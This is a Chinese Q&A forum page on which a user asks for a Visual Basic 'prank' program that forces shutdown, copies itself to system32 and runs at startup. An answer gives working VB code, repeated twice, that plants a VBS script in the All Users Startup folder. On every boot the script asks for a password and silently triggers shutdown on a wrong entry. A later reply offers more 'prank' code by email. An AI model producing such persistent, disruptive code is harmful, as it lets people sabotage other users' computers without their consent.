谁能给我制作个vb关机恶搞程序 5
功能实现是这样的，一打开，界面提示要输入XXX，关机倒计时开始，输入无误之后确定就能撤销，若不是，就立即关机。而且我想要求这个程序一打开自动复制到C盘的system32文...
功能实现是这样的，一打开，界面提示要输入XXX，关机倒计时开始，输入无误之后确定就能撤销，若不是，就立即关机。而且我想要求这个程序一打开自动复制到C盘的system32文件夹中，然后再自动添加到开机启动项，这样每一次开机都有了。。
展开
展开全部
Private Sub Form_Load()
On Error Resume Next
Kill "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs"
Open "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs" For Append As #1
Print #1, "Dim mima" & vbCrLf & "mima = InputBox(""输错密码你懂的！"", ""三位数的密码，你猜吧!"")" & vbCrLf & "If mima <> 513 Then" & vbCrLf & "wscript.createobject(""wscript.shell"").run ""shutdown -s -t 36"",vbhide" & vbCrLf & "End If"
close
msgbox "密码是513，记住!"
End Sub
放到VB或者VBA里面运行就行了，密码513
On Error Resume Next
Kill "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs"
Open "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.vbs" For Append As #1
Print #1, "Dim mima" & vbCrLf & "mima = InputBox(""输错密码你懂的！"", ""三位数的密码，你猜吧!"")" & vbCrLf & "If mima <> 513 Then" & vbCrLf & "wscript.createobject(""wscript.shell"").run ""shutdown -s -t 36"",vbhide" & vbCrLf & "End If"
close
msgbox "密码是513，记住!"
End Sub
放到VB或者VBA里面运行就行了，密码513
已赞过
已踩过<
评论
收起
你对这个回答的评价是？
杭州一知智能科技有限公司
2022-03-17 广告
电话机器人主要就是用来模拟人工通话的一组程序，一般由，CRM系统，语义识别，转换文字，话术体系，这是软的部分，再加上底层软交换和通信模块一起，合并起来就是一套完整的电话机器人系统。电话机器人可以代替真人进行电话工作的，像是电话营销、售后回访...
点击进入详情页
本回答由杭州一知智能科技有限公司提供
展开全部
我有一些vb整人代码 你把邮箱给我给你发过去你自己看看
追问
1056513315@qq.com
追答
发过去啦
已赞过
已踩过<
评论
收起
你对这个回答的评价是？
推荐律师服务：
若未解决您的问题，请您详细描述您的问题，通过百度律临进行免费专业咨询
